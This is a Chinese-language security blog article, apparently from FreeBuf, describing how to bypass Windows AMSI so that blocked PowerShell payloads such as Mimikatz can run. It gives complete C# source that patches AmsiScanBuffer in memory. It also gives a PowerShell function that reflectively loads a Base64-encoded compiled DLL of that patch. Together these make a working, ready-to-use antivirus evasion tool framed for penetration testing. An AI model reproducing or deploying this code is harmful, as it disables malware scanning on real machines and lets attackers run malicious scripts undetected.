看我如何绕过AMSI并执行任意Powershell代码

稿源：FreeBuf.COM 2019-01-08 09:15:38

前言

众所周知，AMSI会对获取shell造成麻烦，这篇文章将介绍如何在早期解决此类问题。

什么是AMSI？

AMSI全称为“ANTI MALWARE SCAN INTERFACE”，即反恶意软件扫描接口。顾名思义，它要做的就是扫描，检测和阻止任何有害的东西。

还是不知道这是什么玩意？你可以查看下方截图：

显然，如果你具有在Windows环境中渗透测试的经验，那么就应该知道几乎所有公开的脚本（包括Nishang，Empire，PowerSploit中的脚本）都会出现这样的错误。

AMSI如何运作？

AMSI之前使用“基于字符串”的检测方法来确定PowerShell代码是否包含恶意代码。见下图：

没错，“amsiutils”这个词被禁止了。如果你的英文名中有这个词，那么朋友，你就是AMSI眼中的的恶意人员。

如何绕过字符串检测？

几乎每个有经验的人都知道字符串检测很容易绕过，只要不逐字地使用被禁止的字符串。而是使用编码或将其拆分为块并重新组合就可以解决此问题。以下是执行“被禁止”代码且成功绕过的三种方法：

这种方法简单地将单词分成两半就足以绕过这种检测。我们在混淆中见过许多。但在大多数情况下，这种方法没什么用。

在某些情况下，简单地通过Base64解码也可以绕过检测。

当然，你也可以使用XOR来绕过AMSI并在运行时将字符串解回内存。这是最有效的，因为这样一来AMSI就需要更高的抽象来检测恶意代码。

以上所有这些技术都是围绕字符串检测展开的，但肯定还有其他方法。我想以原始状态（即AMSI阻止它们的状态）执行脚本。这样可行吗？

通过Memory Patching绕过AMSI

几个月前，cyberark发布了一篇博文，描述了如何绕过AMSI。微软此后改变了AMSI处理PowerShell会话的方式，因此原始绕过技术现在无法起作用。Microsoft的更新更改了AMSI，因此PowerShell在扫描用户输入时不再使用AmsiScanString函数。

在下图中，你可以看到AmsiScanString已被AmsiScanBuffer API替换：

运行PowerShell MimiKatz payload时，出现如下错误：

在此阶段开始尝试绕过新的AMSI。目标是修补新的AmsiScanBuffer函数。下图为函数文档：

如你所见，此函数要获取所需扫描的缓冲区和缓冲区长度。我们需要做的就是在存储缓冲区长度的函数内修补。这样做扫描会以零长度上执行。

严格来说，我们并没有“绕过”，而是禁用了它。

AMSI有一些在运行任何PowerShell代码之前就执行的函数（从Powershell v3.0开始），因此为了完全绕过AMSI并执行任何PowerShell恶意代码，我们需要对它们进行memory patching来完全禁用它。

它适用于最新版本的Windows！我们可以将这种技术实用化并将其应用于PowerShell脚本，因此可以在现实环境中利用它！

现在我们应用上述技术的代码编译C＃DLL，然后在PowerShell会话中加载并执行此代码，此举可以完全禁用AMSI！

 

	using System;



	using System.Runtime.InteropServices;



	namespace Bypass 



	{



	    public class AMSI 



	    {



	        [DllImport("kernel32")]



	        public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);



	        [DllImport("kernel32")]



	        public static extern IntPtr LoadLibrary(string name);



	        [DllImport("kernel32")]



	        public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);



	        [DllImport("Kernel32.dll", EntryPoint = "RtlMoveMemory", SetLastError = false)]



	        static extern void MoveMemory(IntPtr dest, IntPtr src, int size);



	        public static int Disable() 



	        {



	            IntPtr TargetDLL = LoadLibrary("amsi.dll");



	            if (TargetDLL == IntPtr.Zero)



	            {



	                Console.WriteLine("ERROR: Could not retrieve amsi.dll pointer.");



	                return 1;



	            }



	            IntPtr AmsiScanBufferPtr = GetProcAddress(TargetDLL, "AmsiScanBuffer");



	            if (AmsiScanBufferPtr == IntPtr.Zero)



	            {



	                Console.WriteLine("ERROR: Could not retrieve AmsiScanBuffer function pointer");



	                return 1;



	            }



	            UIntPtr dwSize = (UIntPtr)5;



	            uint Zero = 0;



	            if (!VirtualProtect(AmsiScanBufferPtr, dwSize, 0x40, out Zero))



	            {



	                Console.WriteLine("ERROR: Could not change AmsiScanBuffer memory permissions!");



	                return 1;



	            }



	            Byte[] Patch = { 0x31, 0xff, 0x90 };



	            IntPtr unmanagedPointer = Marshal.AllocHGlobal(3);



	            Marshal.Copy(Patch, 0, unmanagedPointer, 3);



	            MoveMemory(AmsiScanBufferPtr + 0x001b, unmanagedPointer, 3);



	            Console.WriteLine("AmsiScanBuffer patch has been applied.");



	            return 0;



	        }



	    }



	}

效果如下图：

这样我们就可以完全绕过检测。可以自由加载任何PowerShell脚本，无论是否恶意。通过将此类方法与你的工具相结合，成功率将大大提升。

通过PowerShell进行武器化使用

当然，在渗透测试中，我们必须拥有自动应用此类技术的工具。同样，当我们通过C＃使用.NET框架时，可以在运行时创建一个映射DLL到内存的Posh脚本，而无需将DLL接触磁盘。

以下是禁用AMSI的PowerShell脚本：

 

	function Bypass-AMSI 



	{



	    if(-not ([System.Management.Automation.PSTypeName]"Bypass.AMSI").Type) {



	        [Reflection.Assembly]::Load([Convert]::FromBase64String("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N0RBQ0VEAEJ5cGFzc0FNU0kAbXNjb3JsaWIAc3JjAERpc2FibGUAUnVudGltZUZpZWxkSGFuZGxlAENvbnNvbGUAaE1vZHVsZQBwcm9jTmFtZQBuYW1lAFdyaXRlTGluZQBWYWx1ZVR5cGUAQ29tcGlsZXJHZW5lcmF0ZWRBdHRyaWJ1dGUAR3VpZEF0dHJpYnV0ZQBEZWJ1Z2dhYmxlQXR0cmlidXRlAENvbVZpc2libGVBdHRyaWJ1dGUAQXNzZW1ibHlUaXRsZUF0dHJpYnV0ZQBBc3NlbWJseVRyYWRlbWFya0F0dHJpYnV0ZQBUYXJnZXRGcmFtZXdvcmtBdHRyaWJ1dGUAQXNzZW1ibHlGaWxlVmVyc2lvbkF0dHJpYnV0ZQBBc3NlbWJseUNvbmZpZ3VyYXRpb25BdHRyaWJ1dGUAQXNzZW1ibHlEZXNjcmlwdGlvbkF0dHJpYnV0ZQBDb21waWxhdGlvblJlbGF4YXRpb25zQXR0cmlidXRlAEFzc2VtYmx5UHJvZHVjdEF0dHJpYnV0ZQBBc3NlbWJseUNvcHlyaWdodEF0dHJpYnV0ZQBBc3NlbWJseUNvbXBhbnlBdHRyaWJ1dGUAUnVudGltZUNvbXBhdGliaWxpdHlBdHRyaWJ1dGUAQnl0ZQBkd1NpemUAc2l6ZQBTeXN0ZW0uUnVudGltZS5WZXJzaW9uaW5nAEFsbG9jSEdsb2JhbABNYXJzaGFsAEtlcm5lbDMyLmRsbABCeXBhc3NBTVNJLmRsbABTeXN0ZW0AU3lzdGVtLlJlZmxlY3Rpb24Ab3BfQWRkaXRpb24AWmVybwAuY3RvcgBVSW50UHRyAFN5c3RlbS5EaWFnbm9zdGljcwBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMAU3lzdGVtLlJ1bnRpbWUuQ29tcGlsZXJTZXJ2aWNlcwBEZWJ1Z2dpbmdNb2RlcwBSdW50aW1lSGVscGVycwBCeXBhc3MAR2V0UHJvY0FkZHJlc3MAbHBBZGRyZXNzAE9iamVjdABscGZsT2xkUHJvdGVjdABWaXJ0dWFsUHJvdGVjdABmbE5ld1Byb3RlY3QAb3BfRXhwbGljaXQAZGVzdABJbml0aWFsaXplQXJyYXkAQ29weQBMb2FkTGlicmFyeQBSdGxNb3ZlTWVtb3J5AG9wX0VxdWFsaXR5AAAAABFhAG0AcwBpAC4AZABsAGwAAFdFAFIAUgBPAFIAOgAgAEMAbwB1AGwAZAAgAG4AbwB0ACAAcgBlAHQAcgBpAGUAdgBlACAAYQBtAHMAaQAuAGQAbABsACAAcABvAGkAbgB0AGUAcgAuAAAdQQBtAHMAaQBTAGMAYQBuAEIAdQBmAGYAZQByAABzRQBSAFIATwBSADoAIABDAG8AdQBsAGQAIABuAG8AdAAgAHIAZQB0AHIAaQBlAHYAZQAgAEEAbQBzAGkAUwBjAGEAbgBCAHUAZgBmAGUAcgAgAGYAdQBuAGMAdABpAG8AbgAgAHAAbwBpAG4AdABlAHIAAHVFAFIAUgBPAFIAOgAgAEMAbwB1AGwAZAAgAG4AbwB0ACAAYwBoAGEAbgBnAGUAIABBAG0AcwBpAFMAYwBhAG4AQgB1AGYAZgBlAHIAIABtAGUAbQBvAHIAeQAgAHAAZQByAG0AaQBzAHMAaQBvAG4AcwAhAABNQQBtAHMAaQBTAGMAYQBuAEIAdQBmAGYAZQByACAAcABhAHQAYwBoACAAaABhAHMAIABiAGUAZQBuACAAYQBwAHAAbABpAGUAZAAuAAAAAABNy6E5KHzvRJzwgzKCw/hXAAQgAQEIAyAAAQUgAQEREQQgAQEOBCABAQIHBwUYGBkJGAIGGAUAAgIYGAQAAQEOBAABGQsHAAIBEmERZQQAARgICAAEAR0FCBgIBQACGBgICLd6XFYZNOCJAwYREAUAAhgYDgQAARgOCAAEAhgZCRAJBgADARgYCAMAAAgIAQAIAAAAAAAeAQABAFQCFldyYXBOb25FeGNlcHRpb25UaHJvd3MBCAEAAgAAAAAADwEACkJ5cGFzc0FNU0kAAAUBAAAAABcBABJDb3B5cmlnaHQgwqkgIDIwMTgAACkBACQ4Y2ExNGM0OS02NDRiLTQwY2YtYjFjNy1hNWJkYWViMGIyY2EAAAwBAAcxLjAuMC4wAABNAQAcLk5FVEZyYW1ld29yayxWZXJzaW9uPXY0LjUuMgEAVA4URnJhbWV3b3JrRGlzcGxheU5hbWUULk5FVCBGcmFtZXdvcmsgNC41LjIEAQAAAAAAAAAAAN3BR94AAAAAAgAAAGUAAAAMLAAADA4AAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAABSU0RTac9x8RJ6SEet9F+qmVae0gEAAABDOlxVc2Vyc1xhbmRyZVxzb3VyY2VccmVwb3NcQnlwYXNzQU1TSVxCeXBhc3NBTVNJXG9ialxSZWxlYXNlXEJ5cGFzc0FNU0kucGRiAJksAAAAAAAAAAA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| Out-Null 



	        Write-Output "DLL has been reflected";



	    }



	    [Bypass.AMSI]::Disable()



	}